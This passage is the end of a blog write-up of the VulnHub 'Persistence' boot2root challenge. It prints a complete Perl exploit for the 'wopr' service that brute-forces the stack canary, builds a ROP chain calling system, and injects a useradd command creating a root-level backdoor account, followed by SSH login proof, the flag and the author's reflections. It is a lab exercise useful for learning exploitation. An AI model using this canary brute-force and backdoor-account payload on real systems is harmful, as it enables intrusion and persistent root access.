However, finding all of these characters in the address range 0x8048000:0x804b000 is not guaranteed. It’s also very time consuming. And it turns out to be infeasible as there are 47 bytes, and therefore 47 functions calls required (over the 29 maximum provided by the buffer overflow length).

A more reliable and quicker option is to use the TCP connection that is already open and send data over that…

I updated my send_data Perl function to accept a second request parameter that would be sent after a short time after the first. (i.e. the request should not be swallowed up as part of wopr’s legitimate and only call to read, where it will consume up to 512 bytes. A short delay means it is will not be consumed and will be waiting for my own injected read call.)

Without further ado, here is the final script which I proceeded to run on Persistence, now very much defeated:

#!/usr/bin/perl

use strict;
use warnings;
use IO::Socket::INET;
use Time::HiRes qw(usleep);

sub send_data
{
    my $connection = new IO::Socket::INET (
        PeerHost => '127.0.0.1',
        PeerPort => '3333',
        Proto => 'tcp',
    );
    die "Can't connect.n" unless $connection;
    my $request = shift();
    my $sleep = shift();
    my $request2 = shift();
    if (defined($sleep) && $sleep)
    {
        sleep(20);
    }
    $connection->send($request);
    if (defined($request2))
    {
        # Short sleep so that second request will not be swallowed up into the buffer overflow.
        usleep(250_000);
        $connection->send($request2);
    }
    my @response = <$connection>;
    return @response;
}

sub caused_crash
{
    return join("n", @_) !~ m/bye/;
}

# Find length of buffer up to canary.

my $broken = 0;
my $length = 30;

while (!$broken)
{
    $length++;

    my $connection = new IO::Socket::INET (
        PeerHost => '127.0.0.1',
        PeerPort => '3333',
        Proto => 'tcp',
    );
    die "Can't connect.n" unless $connection;

    my @response = send_data("A" x $length);

    if (caused_crash(@response))
    {
        $broken = 1;
        $length--;
    }
}

printf("Safe buffer length discovered to be: %dn", $length);

# Crack canary value

my @canary = ();
my $teststr = "A" x $length;

while (scalar(@canary) < 4)
{
    for (my $testbyte = 0; $testbyte < 256; $testbyte++)
    {
        if (!caused_crash(send_data($teststr . chr($testbyte))))
        {
            push(@canary, chr($testbyte));
            $teststr .= chr($testbyte);
            printf("Byte %d of canary found: \x%02xn", scalar(@canary), $testbyte);
            last();
        }
        elsif ($testbyte == 255)
        {
            die("Failed to find canary value!n");
        }
    }
}

print("All four bytes of canary found.n");

my $ppr = "xe8x8bx04x08";
my $pppr = "xb6x8bx04x08";
my $exit = "xacx86x04x08";
my $read = "xdcx85x04x08";

my $execstr = "x58xa0x04x08"; # Address of bss section of wopr
my $systemGOT = "x40x8exe9xf7";
send_data(
"A" x $length . join('', @canary). "xe8xdcxb9xff" # SFP
 . $read      . $pppr . "x04x00x00x00" . $execstr . "x2fx00x00x00" # Bytes to read
 . $systemGOT . $exit . $execstr,
0, # No pause for debugger required
"/usr/sbin/useradd -o -u 0 -p 64B0X1YfSO9v2 bobx00"); # Command to be executed

Proof

root@worry:~/persistence# ssh bob@192.168.13.181
bob@192.168.13.181's password:
Last login: Thu Aug 21 18:36:33 2014
[root@persistence ~]# cat /root/flag.txt
              .d8888b.  .d8888b. 888    
             d88P  Y88bd88P  Y88b888    
             888    888888    888888    
888  888  888888    888888    888888888
888  888  888888    888888    888888    
888  888  888888    888888    888888    
Y88b 888 d88PY88b  d88PY88b  d88PY88b.  
 "Y8888888P"  "Y8888P"  "Y8888P"  "Y888

Congratulations!!! You have the flag!

We had a great time coming up with the
challenges for this boot2root, and we
hope that you enjoyed overcoming them.

Special thanks goes out to @VulnHub for
hosting Persistence for us, and to
@recrudesce for testing and providing
valuable feedback!

Until next time,
      sagi- & superkojiman
[root@persistence ~]#

Conclusion

If you’ve read this far through my rather unwieldy post, then you deserve an award for persistence yourself! Whatever reason you read this – whether its a fast solution for Persistence, a desire to understand some of the tricks required on this challenge, or just a curiosity about how I waste my spare time – I hope that you enjoyed it.

Some of the things I learned from the Persistence challenge:

  • Realisation that some of the weirder ideas I have (e.g. sending data through ICMP) aren’t that weird in fact
  • That not only are these ideas possible but I can do them confidently when I try
  • Having to think outside the box can be very frustrating at times, but it is then so much more rewarding when a solution is found
  • I learned a lot more this month about assembly than I did in my University classes on the topic. Thanks very much to the creators.
  • Everything builds on top of something else. I couldn’t have done this if I hadn’t first done OSCP, and read Hacking. And the skills I learned on this will be crucial for something else in the future

I hope this is of some use for anyone that finds it. If you have any questions, suggestions, or corrections,  please feel free to leave me a comment and I will try my best to respond or update my post as soon as I can.